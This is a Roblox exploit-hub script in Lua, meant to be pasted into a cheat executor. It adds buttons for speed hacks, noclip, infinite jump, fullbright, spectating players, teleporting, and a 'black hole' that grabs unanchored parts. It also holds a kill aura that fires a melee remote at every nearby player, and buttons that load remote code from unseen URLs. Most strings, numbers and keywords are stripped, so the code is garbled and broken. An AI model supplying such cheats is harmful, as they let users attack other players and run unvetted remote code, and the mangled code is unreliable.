Run it
Copy the script and paste it into your executor.
ScreenGui = .()
TextButton = .()
Frame = .()
TextButton_2 = .()
UICorner = .()
TextLabel = .()
UICorner_2 = .()
TextButton_3 = .()
UICorner_3 = .()
TextButton_4 = .()
UICorner_4 = .()
TextButton_5 = .()
UICorner_5 = .()
TextButton_6 = .()
UICorner_6 = .()
TextButton_7 = .()
UICorner_7 = .()
TextButton_8 = .()
UICorner_8 = .()
TextButton_9 = .()
UICorner_9 = .()
TextButton_10 = .()
UICorner_10 = .()
TextButton_11 = .()
UICorner_11 = .()
TextButton_12 = .()
UICorner_12 = .()
TextButton_13 = .()
UIGradient = .()
UICorner_13 = .()
TextButton_14 = .()
UICorner_14 = .()
TextButton_15 = .()
UICorner_15 = .()
TextButton_16 = .()
UICorner_16 = .()
TextLabel_2 = .()
TextLabel_3 = .()
TextButton_17 = .()
UICorner_17 = .()
TextButton_18 = .()
UICorner_18 = .()
TextButton_19 = .()
UICorner_19 = .()
TextButton_20 = .()
UICorner_20 = .()
UIGradient_2 = .()
TextButton_21 = .()
UICorner_21 = .()
UIGradient_3 = .()
TextButton_22 = .()
UICorner_22 = .()
TextButton_23 = .()
UICorner_23 = .()
TextButton_24 = .()
UICorner_24 = .()
TextButton_25 = .()
UICorner_25 = .()
UIGradient_4 = .()
TextButton_26 = .()
UICorner_26 = .()
TextLabel_4 = .()
Frame_2 = .()
TextLabel_5 = .()
TextLabel_6 = .()
TextButton_27 = .()
UICorner_27 = .()
TextButton_28 = .()
UICorner_28 = .()
TextButton_29 = .()
UICorner_29 = .()
TextButton_30 = .()
UICorner_30 = .()
TextButton_31 = .()
UICorner_31 = .()
TextButton_32 = .()
UICorner_32 = .()
TextButton_33 = .()
UICorner_33 = .()
TextButton_34 = .()
UICorner_34 = .()
TextButton_35 = .()
UICorner_35 = .()
UIGradient_5 = .()
TextButton_36 = .()
ImageLabel = .()
Frame_3 = .()
TextLabel_7 = .()
ScreenGui.Parent = .Players.LocalPlayer:()
ScreenGui.ResetOnSpawn =
TextButton.Parent = ScreenGui
TextButton.BackgroundColor3 = .(, , )
TextButton.BorderColor3 = .(, , )
TextButton.BorderSizePixel =
TextButton.Position = .(, , , )
TextButton.Size = .(, , , )
TextButton.Font = .Font.SourceSansLight
TextButton.Text =
TextButton.TextColor3 = .(, , )
TextButton.TextScaled =
TextButton.TextSize =
TextButton.TextWrapped =
Frame.Parent = ScreenGui
Frame.AnchorPoint = .(, )
Frame.BackgroundColor3 = .(, , )
Frame.BorderColor3 = .(, , )
Frame.BorderSizePixel =
Frame.Position = .(, , , )
Frame.Size = .(, , , )
Frame.Active =
Frame.Draggable =
TextButton_2.Parent = Frame
TextButton_2.BackgroundColor3 = .(, , )
TextButton_2.BorderColor3 = .(, , )
TextButton_2.BorderSizePixel =
TextButton_2.Position = .(, , , )
TextButton_2.Size = .(, , , )
TextButton_2.Font = .Font.SourceSans
TextButton_2.Text =
TextButton_2.TextColor3 = .(, , )
TextButton_2.TextScaled =
TextButton_2.TextSize =
TextButton_2.TextWrapped =
TextButton_2.MouseButton1Down:(()
(:())()
)
UICorner.CornerRadius = .(, )
UICorner.Parent = TextButton_2
TextLabel.Parent = Frame
TextLabel.BackgroundColor3 = .(, , )
TextLabel.BorderColor3 = .(, , )
TextLabel.BorderSizePixel =
TextLabel.Position = .(-, , , )
TextLabel.Size = .(, , , )
TextLabel.Font = .Font.SourceSansLight
TextLabel.Text =
TextLabel.TextColor3 = .(, , )
TextLabel.TextScaled =
TextLabel.TextSize =
TextLabel.TextWrapped =
UICorner_2.CornerRadius = .(, )
UICorner_2.Parent = TextLabel
TextButton_3.Parent = Frame
TextButton_3.BackgroundColor3 = .(, , )
TextButton_3.BorderColor3 = .(, , )
TextButton_3.BorderSizePixel =
TextButton_3.Position = .(, , , )
TextButton_3.Size = .(, , , )
TextButton_3.Font = .Font.SourceSans
TextButton_3.Text =
TextButton_3.TextColor3 = .(, , )
TextButton_3.TextScaled =
TextButton_3.TextSize =
TextButton_3.TextWrapped =
TextButton_3.MouseButton1Down:(()
(:())()
)
UICorner_3.CornerRadius = .(, )
UICorner_3.Parent = TextButton_3
TextButton_4.Parent = Frame
TextButton_4.BackgroundColor3 = .(, , )
TextButton_4.BorderColor3 = .(, , )
TextButton_4.BorderSizePixel =
TextButton_4.Position = .(, , , )
TextButton_4.Size = .(, , , )
TextButton_4.Font = .Font.SourceSans
TextButton_4.Text =
TextButton_4.TextColor3 = .(, , )
TextButton_4.TextScaled =
TextButton_4.TextSize =
TextButton_4.TextWrapped =
TextButton_4.MouseButton1Down:(()
.FullBrightExecuted
.FullBrightEnabled =
.NormalLightingSettings = {
Brightness = :().Brightness,
ClockTime = :().ClockTime,
FogEnd = :().FogEnd,
GlobalShadows = :().GlobalShadows,
Ambient = :().Ambient
}
:():():(()
:().Brightness ~= :().Brightness ~= .NormalLightingSettings.Brightness
.NormalLightingSettings.Brightness = :().Brightness
.FullBrightEnabled
()
.FullBrightEnabled
:().Brightness =
)
:():():(()
:().ClockTime ~= :().ClockTime ~= .NormalLightingSettings.ClockTime
.NormalLightingSettings.ClockTime = :().ClockTime
.FullBrightEnabled
()
.FullBrightEnabled
:().ClockTime =
)
:():():(()
:().FogEnd ~= :().FogEnd ~= .NormalLightingSettings.FogEnd
.NormalLightingSettings.FogEnd = :().FogEnd
.FullBrightEnabled
()
.FullBrightEnabled
:().FogEnd =
)
:():():(()
:().GlobalShadows ~= :().GlobalShadows ~= .NormalLightingSettings.GlobalShadows
.NormalLightingSettings.GlobalShadows = :().GlobalShadows
.FullBrightEnabled
()
.FullBrightEnabled
:().GlobalShadows =
)
:():():(()
:().Ambient ~= .(, , ) :().Ambient ~= .NormalLightingSettings.Ambient
.NormalLightingSettings.Ambient = :().Ambient
.FullBrightEnabled
()
.FullBrightEnabled
:().Ambient = .(, , )
)
:().Brightness =
:().ClockTime =
:().FogEnd =
:().GlobalShadows =
:().Ambient = .(, , )
LatestValue =
(()
()
.FullBrightEnabled
()
.FullBrightEnabled ~= LatestValue
.FullBrightEnabled
:().Brightness = .NormalLightingSettings.Brightness
:().ClockTime = .NormalLightingSettings.ClockTime
:().FogEnd = .NormalLightingSettings.FogEnd
:().GlobalShadows = .NormalLightingSettings.GlobalShadows
:().Ambient = .NormalLightingSettings.Ambient
:().Brightness =
:().ClockTime =
:().FogEnd =
:().GlobalShadows =
:().Ambient = .(, , )
LatestValue = LatestValue
)
.FullBrightExecuted =
.FullBrightEnabled = .FullBrightEnabled
)
UICorner_4.CornerRadius = .(, )
UICorner_4.Parent = TextButton_4
TextButton_5.Parent = Frame
TextButton_5.BackgroundColor3 = .(, , )
TextButton_5.BorderColor3 = .(, , )
TextButton_5.BorderSizePixel =
TextButton_5.Position = .(, , , )
TextButton_5.Size = .(, , , )
TextButton_5.Font = .Font.SourceSans
TextButton_5.Text =
TextButton_5.TextColor3 = .(, , )
TextButton_5.TextScaled =
TextButton_5.TextSize =
TextButton_5.TextWrapped =
TextButton_5.MouseButton1Down:(()
runDummyScript = (f,scri)
oldenv = (f)
newenv = ({}, {
__index = (_, k)
k:() ==
scri
oldenv[k]
})
(f, newenv)
(() () )
cors = {}
mas = .(,:())
mas.Name =
o1 = .()
o2 = .()
o3 = .()
o4 = .()
o5 = .()
o6 = .()
o7 = .()
o1.Name =
o1.Parent = mas
o2.Name =
o2.Parent = o1
o2.Position = .(-,-,,-)
o2.Size = .(,,,)
o2.Position = .(-,-,,-)
o2.BackgroundColor3 = .(, , )
o2.BackgroundTransparency =
o2.BorderSizePixel =
o3.Name =
o3.Parent = o2
o3.Size = .(,,,)
o3.Text =
o3.BackgroundColor3 = .(, , )
o3.BorderColor3 = .(, , )
o3.BorderSizePixel =
o3.Font = .Font.SourceSans
o3.FontSize = .FontSize.Size48
o3.TextColor3 = .(, , )
o4.Name =
o4.Parent = o2
o4.Position = .(,,,)
o4.Size = .(-,,,)
o4.Text =
o4.Position = .(,,,)
o4.BackgroundColor3 = .(, , )
o4.BorderColor3 = .(, , )
o4.BorderSizePixel =
o4.Font = .Font.SourceSans
o4.FontSize = .FontSize.Size48
o4.TextColor3 = .(, , )
o5.Name =
o5.Parent = o2
o5.Position = .(,,,)
o5.Size = .(,,,)
o5.Text =
o5.Position = .(,,,)
o5.BackgroundColor3 = .(, , )
o5.BackgroundTransparency =
o5.Font = .Font.SourceSans
o5.FontSize = .FontSize.Size14
o5.TextColor3 = .(, , )
o5.TextScaled =
o5.TextWrapped =
o6.Name =
o6.Parent = o1
o6.Position = .(,,,-)
o6.Size = .(,,,)
o6.Position = .(,,,-)
o6.BackgroundColor3 = .(, , )
o6.BackgroundTransparency =
o6.BorderSizePixel =
o6.Image =
o7.Parent = o1
.(cors,.(()
()
(()
cam = .Workspace.CurrentCamera
bar = .Parent.Bar
title = bar.Title
prev = bar.Previous
nex = bar.Next
button = .Parent.Button
()
_,v (.Players:())
v.Name == title.Text
(_)
debounce =
button.MouseButton1Click:(()
debounce == debounce =
bar:(.(,-,,-),,,,)
(()
title.Text = .Players:(cam.CameraSubject.Parent).Name
)
debounce == debounce =
(() cam.CameraSubject = .Players.LocalPlayer.Character.Humanoid )
bar:(.(-,-,,-),,,,)
)
prev.MouseButton1Click:(()
()
players = .Players:()
num = ()
(()
cam.CameraSubject = players[num-].Character.Humanoid
)
cam.CameraSubject = players[#players].Character.Humanoid
(()
title.Text = .Players:(cam.CameraSubject.Parent).Name
)
)
nex.MouseButton1Click:(()
()
players = .Players:()
num = ()
(()
cam.CameraSubject = players[num+].Character.Humanoid
)
cam.CameraSubject = players[].Character.Humanoid
(()
title.Text = .Players:(cam.CameraSubject.Parent).Name
)
)
,o7)
))
mas.Parent =
mas:()
mas1 = mas:()
i=,#mas1
mas1[i].Parent = :().LocalPlayer.PlayerGui
(() mas1[i]:() )
mas:()
i=,#cors
.(cors[i])
)
UICorner_5.CornerRadius = .(, )
UICorner_5.Parent = TextButton_5
TextButton_6.Parent = Frame
TextButton_6.BackgroundColor3 = .(, , )
TextButton_6.BorderColor3 = .(, , )
TextButton_6.BorderSizePixel =
TextButton_6.Position = .(, , , )
TextButton_6.Size = .(, , , )
TextButton_6.Font = .Font.SourceSans
TextButton_6.Text =
TextButton_6.TextColor3 = .(, , )
TextButton_6.TextScaled =
TextButton_6.TextSize =
TextButton_6.TextWrapped =
TextButton_6.MouseButton1Down:(()
speed =
speedEnabled =
guiVisible =
(newSpeed)
speed = newSpeed
speedEnabled
.Players.LocalPlayer.Character.Humanoid.WalkSpeed = speed
screenGui = .()
mainFrame = .()
titleFrame = .()
titleLabel = .()
speedLabel = .()
toggleButton = .()
increaseButton = .()
decreaseButton = .()
closeButton = .()
minimizeButton = .()
screenGui.Parent = .Players.LocalPlayer:()
screenGui.ResetOnSpawn =
mainFrame.Size = .(, , , )
mainFrame.Position = .(, -, , )
mainFrame.BackgroundColor3 = .(, , )
mainFrame.BackgroundTransparency =
mainFrame.BorderSizePixel =
mainFrame.Active =
mainFrame.Draggable =
mainFrame.Parent = screenGui
mainFrame.ClipsDescendants =
shadow = .()
shadow.Size = .(, , , )
shadow.Position = .(, -, , -)
shadow.Image =
shadow.ImageColor3 = .(, , )
shadow.ImageTransparency =
shadow.ScaleType = .ScaleType.Slice
shadow.SliceCenter = Rect.(, , , )
shadow.BackgroundTransparency =
shadow.ZIndex =
shadow.Parent = mainFrame
titleFrame.Size = .(, , , )
titleFrame.BackgroundColor3 = .(, , )
titleFrame.BackgroundTransparency =
titleFrame.BorderSizePixel =
titleFrame.Parent = mainFrame
titleLabel.Size = .(, -, , )
titleLabel.Position = .(, , , )
titleLabel.BackgroundTransparency =
titleLabel.TextColor3 = .(, , )
titleLabel.Text =
titleLabel.Font = .Font.GothamBold
titleLabel.TextSize =
titleLabel.Parent = titleFrame
closeButton.Size = .(, , , )
closeButton.Position = .(, -, , )
closeButton.BackgroundColor3 = .(, , )
closeButton.TextColor3 = .(, , )
closeButton.TextScaled =
closeButton.Text =
closeButton.Font = .Font.GothamBold
closeButton.Parent = titleFrame
minimizeButton.Size = .(, , , )
minimizeButton.Position = .(, -, , )
minimizeButton.BackgroundColor3 = .(, , )
minimizeButton.TextColor3 = .(, , )
minimizeButton.TextScaled =
minimizeButton.Text =
minimizeButton.Font = .Font.GothamBold
minimizeButton.Parent = titleFrame
speedLabel.Size = .(, , , )
speedLabel.Position = .(, -, , )
speedLabel.BackgroundColor3 = .(, , )
speedLabel.BackgroundTransparency =
speedLabel.TextColor3 = .(, , )
speedLabel.TextScaled =
speedLabel.Text = .. speed
speedLabel.Font = .Font.Gotham
speedLabel.Parent = mainFrame
toggleButton.Size = .(, , , )
toggleButton.Position = .(, -, , )
toggleButton.BackgroundColor3 = .(, , )
toggleButton.BackgroundTransparency =
toggleButton.TextColor3 = .(, , )
toggleButton.TextScaled =
toggleButton.Text =
toggleButton.Font = .Font.GothamBold
toggleButton.Parent = mainFrame
increaseButton.Size = .(, , , )
increaseButton.Position = .(, -, , )
increaseButton.BackgroundColor3 = .(, , )
increaseButton.BackgroundTransparency =
increaseButton.TextColor3 = .(, , )
increaseButton.TextScaled =
increaseButton.Text =
increaseButton.Font = .Font.GothamBold
increaseButton.Parent = mainFrame
decreaseButton.Size = .(, , , )
decreaseButton.Position = .(, -, , )
decreaseButton.BackgroundColor3 = .(, , )
decreaseButton.BackgroundTransparency =
decreaseButton.TextColor3 = .(, , )
decreaseButton.TextScaled =
decreaseButton.Text =
decreaseButton.Font = .Font.GothamBold
decreaseButton.Parent = mainFrame
()
speedEnabled
.Players.LocalPlayer.Character.Humanoid.WalkSpeed = speed
.Players.LocalPlayer.Character.Humanoid.WalkSpeed =
speedLabel.Text = .. speed
toggleButton.MouseButton1Click:(()
speedEnabled = speedEnabled
toggleButton.Text = speedEnabled
()
)
increaseButton.MouseButton1Click:(()
speed = speed +
()
)
decreaseButton.MouseButton1Click:(()
speed = speed -
()
)
closeButton.MouseButton1Click:(()
()
speedEnabled =
toggleButton.Text =
()
screenGui:()
)
minimizeButton.MouseButton1Click:(()
guiVisible = guiVisible
_, element (mainFrame:())
element ~= titleFrame
element.Visible = guiVisible
mainFrame.Size = guiVisible .(, , , ) .(, , , )
)
()
dragging =
dragInput
dragStart
startPos
(input)
delta = input.Position - dragStart
mainFrame.Position = .(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
mainFrame.InputBegan:((input)
input.UserInputType == .UserInputType.MouseButton1 input.UserInputType == .UserInputType.Touch
dragging =
dragStart = input.Position
startPos = mainFrame.Position
input.Changed:(()
input.UserInputState == .UserInputState.End
dragging =
)
)
mainFrame.InputChanged:((input)
input.UserInputType == .UserInputType.MouseMovement input.UserInputType == .UserInputType.Touch
dragInput = input
)
:().InputChanged:((input)
dragging input == dragInput
(input)
)
)
UICorner_6.CornerRadius = .(, )
UICorner_6.Parent = TextButton_6
TextButton_7.Parent = Frame
TextButton_7.BackgroundColor3 = .(, , )
TextButton_7.BorderColor3 = .(, , )
TextButton_7.BorderSizePixel =
TextButton_7.Position = .(, , , )
TextButton_7.Size = .(, , , )
TextButton_7.Font = .Font.SourceSans
TextButton_7.Text =
TextButton_7.TextColor3 = .(, , )
TextButton_7.TextScaled =
TextButton_7.TextSize =
TextButton_7.TextWrapped =
TextButton_7.MouseButton1Down:(()
(:((),))()
)
UICorner_7.CornerRadius = .(, )
UICorner_7.Parent = TextButton_7
TextButton_8.Parent = Frame
TextButton_8.BackgroundColor3 = .(, , )
TextButton_8.BorderColor3 = .(, , )
TextButton_8.BorderSizePixel =
TextButton_8.Position = .(, , , )
TextButton_8.Size = .(, , , )
TextButton_8.Font = .Font.SourceSans
TextButton_8.Text =
TextButton_8.TextColor3 = .(, , )
TextButton_8.TextScaled =
TextButton_8.TextSize =
TextButton_8.TextWrapped =
TextButton_8.MouseButton1Down:(()
(:())()
)
UICorner_8.CornerRadius = .(, )
UICorner_8.Parent = TextButton_8
TextButton_9.Parent = Frame
TextButton_9.BackgroundColor3 = .(, , )
TextButton_9.BorderColor3 = .(, , )
TextButton_9.BorderSizePixel =
TextButton_9.Position = .(, , , )
TextButton_9.Size = .(, , , )
TextButton_9.Font = .Font.SourceSans
TextButton_9.Text =
TextButton_9.TextColor3 = .(, , )
TextButton_9.TextScaled =
TextButton_9.TextSize =
TextButton_9.TextWrapped =
TextButton_9.MouseButton1Down:(()
UserInputService = :()
RunService = :()
Camera = .CurrentCamera
SPEED_MULTIPLIER =
JUMP_POWER =
JUMP_GAP =
character = .Players.LocalPlayer.Character
i,v (character:())
v:()
v.CanCollide =
ball = character.HumanoidRootPart
ball.Shape = .PartType.Ball
ball.Size = .(,,)
humanoid = character:()
params = RaycastParams.()
params.FilterType = .RaycastFilterType.Blacklist
params.FilterDescendantsInstances = {character}
tc = RunService.RenderStepped:((delta)
ball.CanCollide =
humanoid.PlatformStand =
UserInputService:()
UserInputService:()
ball.RotVelocity -= Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER
UserInputService:()
ball.RotVelocity -= Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER
UserInputService:()
ball.RotVelocity += Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER
UserInputService:()
ball.RotVelocity += Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER
)
UserInputService.JumpRequest:(()
result = :(
ball.Position,
.(
,
-((ball.Size.Y/)+JUMP_GAP),
),
params
)
result
ball.Velocity = ball.Velocity + .(,JUMP_POWER,)
)
Camera.CameraSubject = ball
humanoid.Died:(() tc:() )
)
UICorner_9.CornerRadius = .(, )
UICorner_9.Parent = TextButton_9
TextButton_10.Parent = Frame
TextButton_10.BackgroundColor3 = .(, , )
TextButton_10.BorderColor3 = .(, , )
TextButton_10.BorderSizePixel =
TextButton_10.Position = .(, , , )
TextButton_10.Size = .(, , , )
TextButton_10.Font = .Font.SourceSans
TextButton_10.Text =
TextButton_10.TextColor3 = .(, , )
TextButton_10.TextScaled =
TextButton_10.TextSize =
TextButton_10.TextWrapped =
TextButton_10.MouseButton1Down:(()
Players = :()
RunService = :()
LocalPlayer = Players.LocalPlayer
Workspace = :()
character = LocalPlayer.Character LocalPlayer.CharacterAdded:()
humanoidRootPart = character:()
Folder = .(, Workspace)
Part = .(, Folder)
Attachment1 = .(, Part)
Part.Anchored =
Part.CanCollide =
Part.Transparency =
().Network
().Network = {
BaseParts = {},
Velocity = .(, , )
}
Network.RetainPart = (Part)
(Part) == Part:() Part:(Workspace)
.(Network.BaseParts, Part)
Part.CustomPhysicalProperties = PhysicalProperties.(, , , , )
Part.CanCollide =
()
LocalPlayer.ReplicationFocus = Workspace
RunService.Heartbeat:(()
(LocalPlayer, , .huge)
_, Part (Network.BaseParts)
Part:(Workspace)
Part.Velocity = Network.Velocity
)
()
(v)
v:() v.Anchored v.Parent:() v.Parent:() v.Name ~=
_, x , v:()
x:() x:() x:() x:() x:() x:() x:()
x:()
v:()
v:():()
v:()
v:():()
v:()
v:():()
v.CanCollide =
Torque = .(, v)
Torque.Torque = .(, , )
AlignPosition = .(, v)
Attachment2 = .(, v)
Torque.Attachment0 = Attachment2
AlignPosition.MaxForce =
AlignPosition.MaxVelocity = .huge
AlignPosition.Responsiveness =
AlignPosition.Attachment0 = Attachment2
AlignPosition.Attachment1 = Attachment1
blackHoleActive =
()
blackHoleActive = blackHoleActive
blackHoleActive
_, v , Workspace:()
(v)
Workspace.DescendantAdded:((v)
blackHoleActive
(v)
)
(()
blackHoleActive RunService.RenderStepped:()
Attachment1.WorldCFrame = humanoidRootPart.CFrame
)
()
screenGui = .()
button = .()
screenGui.Name =
screenGui.Parent = LocalPlayer:()
button.Name =
button.Size = .(, , , )
button.Position = .(, -, , )
button.Text =
button.Parent = screenGui
button.MouseButton1Click:(()
()
blackHoleActive
button.Text =
button.Text =
)
()
()
)
UICorner_10.CornerRadius = .(, )
UICorner_10.Parent = TextButton_10
TextButton_11.Parent = Frame
TextButton_11.BackgroundColor3 = .(, , )
TextButton_11.BorderColor3 = .(, , )
TextButton_11.BorderSizePixel =
TextButton_11.Position = .(, , , )
TextButton_11.Size = .(, , , )
TextButton_11.Font = .Font.SourceSans
TextButton_11.Text =
TextButton_11.TextColor3 = .(, , )
TextButton_11.TextScaled =
TextButton_11.TextSize =
TextButton_11.TextWrapped =
TextButton_11.MouseButton1Down:(()
InfiniteJumpEnabled = :().JumpRequest:(() InfiniteJumpEnabled :.LocalPlayer.Character::() )
)
UICorner_11.CornerRadius = .(, )
UICorner_11.Parent = TextButton_11
TextButton_12.Parent = Frame
TextButton_12.BackgroundColor3 = .(, , )
TextButton_12.BorderColor3 = .(, , )
TextButton_12.BorderSizePixel =
TextButton_12.Position = .(, , , )
TextButton_12.Size = .(, , , )
TextButton_12.Font = .Font.SourceSans
TextButton_12.Text =
TextButton_12.TextColor3 = .(, , )
TextButton_12.TextScaled =
TextButton_12.TextSize =
TextButton_12.TextWrapped =
TextButton_12.MouseButton1Down:(()
Workspace = :()
CoreGui = :()
Players = :()
Noclip = .()
BG = .()
Title = .()
Toggle = .()
StatusPF = .()
Status = .()
Plr = Players.LocalPlayer
Clipon =
Noclip.Name =
Noclip.Parent = .CoreGui
BG.Name =
BG.Parent = Noclip
BG.BackgroundColor3 = .(, , )
BG.BorderColor3 = .(, , )
BG.BorderSizePixel =
BG.Position = .(, , , )
BG.Size = .(, , , )
BG.Active =
BG.Draggable =
Title.Name =
Title.Parent = BG
Title.BackgroundColor3 = .(, , )
Title.BorderColor3 = .(, , )
Title.BorderSizePixel =
Title.Size = .(, , , )
Title.Font = .Font.Highway
Title.Text =
Title.TextColor3 = .(, , )
Title.FontSize = .FontSize.Size32
Title.TextSize =
Title.TextStrokeColor3 = .(, , )
Title.TextStrokeTransparency =
Toggle.Parent = BG
Toggle.BackgroundColor3 = .(, , )
Toggle.BorderColor3 = .(, , )
Toggle.BorderSizePixel =
Toggle.Position = .(, , , )
Toggle.Size = .(, , , )
Toggle.Font = .Font.Highway
Toggle.FontSize = .FontSize.Size28
Toggle.Text =
Toggle.TextColor3 = .(, , )
Toggle.TextSize =
Toggle.TextStrokeColor3 = .(, , )
Toggle.TextStrokeTransparency =
StatusPF.Name =
StatusPF.Parent = BG
StatusPF.BackgroundColor3 = .(, , )
StatusPF.BackgroundTransparency =
StatusPF.Position = .(, , , )
StatusPF.Size = .(, , , )
StatusPF.Font = .Font.Highway
StatusPF.FontSize = .FontSize.Size24
StatusPF.Text =
StatusPF.TextColor3 = .(, , )
StatusPF.TextSize =
StatusPF.TextStrokeColor3 = .(, , )
StatusPF.TextStrokeTransparency =
StatusPF.TextWrapped =
Status.Name =
Status.Parent = BG
Status.BackgroundColor3 = .(, , )
Status.BackgroundTransparency =
Status.Position = .(, , , )
Status.Size = .(, , , )
Status.Font = .Font.Highway
Status.FontSize = .FontSize.Size14
Status.Text =
Status.TextColor3 = .(, , )
Status.TextScaled =
Status.TextSize =
Status.TextStrokeColor3 = .(, , )
Status.TextWrapped =
Status.TextXAlignment = .TextXAlignment.Left
Toggle.MouseButton1Click:(()
Status.Text ==
Clipon =
Status.Text =
Status.TextColor3 = .(,,)
Stepped = :().Stepped:(()
Clipon ==
a, b (Workspace:())
b.Name == Plr.Name
i, v (Workspace[Plr.Name]:())
v:()
v.CanCollide =
Stepped:()
)
Status.Text ==
Clipon =
Status.Text =
Status.TextColor3 = .(,,)
)
)
UICorner_12.CornerRadius = .(, )
UICorner_12.Parent = TextButton_12
TextButton_13.Parent = Frame
TextButton_13.BackgroundColor3 = .(, , )
TextButton_13.BorderColor3 = .(, , )
TextButton_13.BorderSizePixel =
TextButton_13.Position = .(, , , )
TextButton_13.Size = .(, , , )
TextButton_13.Font = .Font.SourceSans
TextButton_13.Text =
TextButton_13.TextColor3 = .(, , )
TextButton_13.TextScaled =
TextButton_13.TextSize =
TextButton_13.TextWrapped =
TextButton_13.MouseButton1Down:(()
p = .Players.LocalPlayer.Character
weld = .(,p.Torso)
weld.Part0 = p.Torso
train = .(,p.Torso)
train.Anchored =
train.CanCollide =
train.Size = .(,,)
train.CustomPhysicalProperties = PhysicalProperties.(,,,,)
weld.Part1 = train
weld.C1 = .(,,) * .(,.(),)
train.Anchored =
TrainMesh = .(,train)
TrainMesh.MeshType = .MeshType.FileMesh
TrainMesh.Scale = .(,,)
TrainMesh.MeshId =
TrainMesh.TextureId =
weld2 = .(,p.Torso)
weld2.Part0 = p.Torso
Smoke = .(,p.Torso)
Smoke.Anchored =
Smoke.CanCollide =
Smoke.Size = .(,,)
Smoke.CustomPhysicalProperties = PhysicalProperties.(,,,,)
weld2.Part1 = Smoke
weld2.C1 = .(,-,)
Smoke.Anchored =
Smoke.Transparency = ;
Particle = .(,Smoke)
Particle.Rate = ;
Particle.Speed = NumberRange.(,);
Particle.VelocitySpread = ;
Particle.Texture =
Light = .(,train)
Light.Angle = ;
Light.Brightness = ;
Light.Face = .NormalId.Back;
Light.Range = ;
p.Humanoid.WalkSpeed = ;
i,v (p:())
v:()
v.Transparency = ;
v:()
v:()
v:()
v:()
(id) s=.(,p.Torso); s.SoundId = ..id; s.Volume = ; s;
train.Touched:((p)
p.Parent
p.Parent:()
.Players:(p.Parent.Name)
p.Parent.Name ~= .Players.LocalPlayer.Name
.Players:(p.Parent.Name)
Whistle = ()
Whistle:()
)
Music = ()
Music.Looped = ;
()
Music:();
()
lplr = .Players.LocalPlayer
check = (character : Model)
character character:() character.Humanoid.Health ~= (lplr.Character.HumanoidRootPart.Position - character.HumanoidRootPart.Position).magnitude <=
.()
i,v (.Players:())
v ~= lplr (v.Character)
:().meleeEvent:(v)
()
lplr = .Players.LocalPlayer
check = (character : Model)
character character:() character.Humanoid.Health ~= (lplr.Character.HumanoidRootPart.Position - character.HumanoidRootPart.Position).magnitude <=
.()
i,v (.Players:())
v ~= lplr (v.Character)
:().meleeEvent:(v)
()
lplr = .Players.LocalPlayer
check = (character : Model)
character character:() character.Humanoid.Health ~= (lplr.Character.HumanoidRootPart.Position - character.HumanoidRootPart.Position).magnitude <=
.()
i,v (.Players:())
v ~= lplr (v.Character)
:().meleeEvent:(v)
()
lplr = .Players.LocalPlayer
check = (character : Model)
character character:() character.Humanoid.Health ~= (lplr.Character.HumanoidRootPart.Position - character.HumanoidRootPart.Position).magnitude <=
.()
i,v (.Players:())
v ~= lplr (v.Character)
:().meleeEvent:(v)
()
lplr = .Players.LocalPlayer
check = (character : Model)
character character:() character.Humanoid.Health ~= (lplr.Character.HumanoidRootPart.Position - character.HumanoidRootPart.Position).magnitude <=
.()
i,v (.Players:())
v ~= lplr (v.Character)
:().meleeEvent:(v)
()
lplr = .Players.LocalPlayer
check = (character : Model)
character character:() character.Humanoid.Health ~= (lplr.Character.HumanoidRootPart.Position - character.HumanoidRootPart.Position).magnitude <=
.()
i,v (.Players:())
v ~= lplr (v.Character)
:().meleeEvent:(v)
()
lplr = .Players.LocalPlayer
check = (character : Model)
character character:() character.Humanoid.Health ~= (lplr.Character.HumanoidRootPart.Position - character.HumanoidRootPart.Position).magnitude <=
.()
i,v (.Players:())
v ~= lplr (v.Character)
:().meleeEvent:(v)
()
lplr = .Players.LocalPlayer
check = (character : Model)
character character:() character.Humanoid.Health ~= (lplr.Character.HumanoidRootPart.Position - character.HumanoidRootPart.Position).magnitude <=
.()
i,v (.Players:())
v ~= lplr (v.Character)
:().meleeEvent:(v)
()
lplr = .Players.LocalPlayer
check = (character : Model)
character character:() character.Humanoid.Health ~= (lplr.Character.HumanoidRootPart.Position - character.HumanoidRootPart.Position).magnitude <=
.()
i,v (.Players:())
v ~= lplr (v.Character)
:().meleeEvent:(v)
()
lplr = .Players.LocalPlayer
check = (character : Model)
character character:() character.Humanoid.Health ~= (lplr.Character.HumanoidRootPart.Position - character.HumanoidRootPart.Position).magnitude <=
.()
i,v (.Players:())
v ~= lplr (v.Character)
:().meleeEvent:(v)
()
lplr = .Players.LocalPlayer
check = (character : Model)
character character:() character.Humanoid.Health ~= (lplr.Character.HumanoidRootPart.Position - character.HumanoidRootPart.Position).magnitude <=
.()
i,v (.Players:())
v ~= lplr (v.Character)
:().meleeEvent:(v)
)
UIGradient.Color = ColorSequence.{ColorSequenceKeypoint.(, .(, , )), ColorSequenceKeypoint.(, .(, , )), ColorSequenceKeypoint.(, .(, , ))}
UIGradient.Parent = TextButton_13
UICorner_13.CornerRadius = .(, )
UICorner_13.Parent = TextButton_13
TextButton_14.Parent = Frame
TextButton_14.BackgroundColor3 = .(, , )
TextButton_14.BorderColor3 = .(, , )
TextButton_14.BorderSizePixel =
TextButton_14.Position = .(, , , )
TextButton_14.Size = .(, , , )
TextButton_14.Font = .Font.SourceSans
TextButton_14.Text =
TextButton_14.TextColor3 = .(, , )
TextButton_14.TextScaled =
TextButton_14.TextSize =
TextButton_14.TextWrapped =
TextButton_14.MouseButton1Down:(()
ToolName =
()
tool = .()
tool.Name = ToolName
tool.RequiresHandle =
tool.CanBeDropped =
tool.Parent = .Players.LocalPlayer.Backpack
tool.Activated:(()
player = .Players.LocalPlayer
mouse = player:()
targetPos = mouse.Hit.p
player.Character:(targetPos)
)
(character)
()
.Players.LocalPlayer.CharacterAdded:(onCharacterAdded)
()
)
UICorner_14.CornerRadius = .(, )
UICorner_14.Parent = TextButton_14
TextButton_15.Parent = Frame
TextButton_15.BackgroundColor3 = .(, , )
TextButton_15.BorderColor3 = .(, , )
TextButton_15.BorderSizePixel =
TextButton_15.Position = .(, , , )
TextButton_15.Size = .(, , , )
TextButton_15.Font = .Font.SourceSans
TextButton_15.Text =
TextButton_15.TextColor3 = .(, , )
TextButton_15.TextScaled =
TextButton_15.TextSize =
TextButton_15.TextWrapped =
TextButton_15.MouseButton1Down:(()
tool = .()
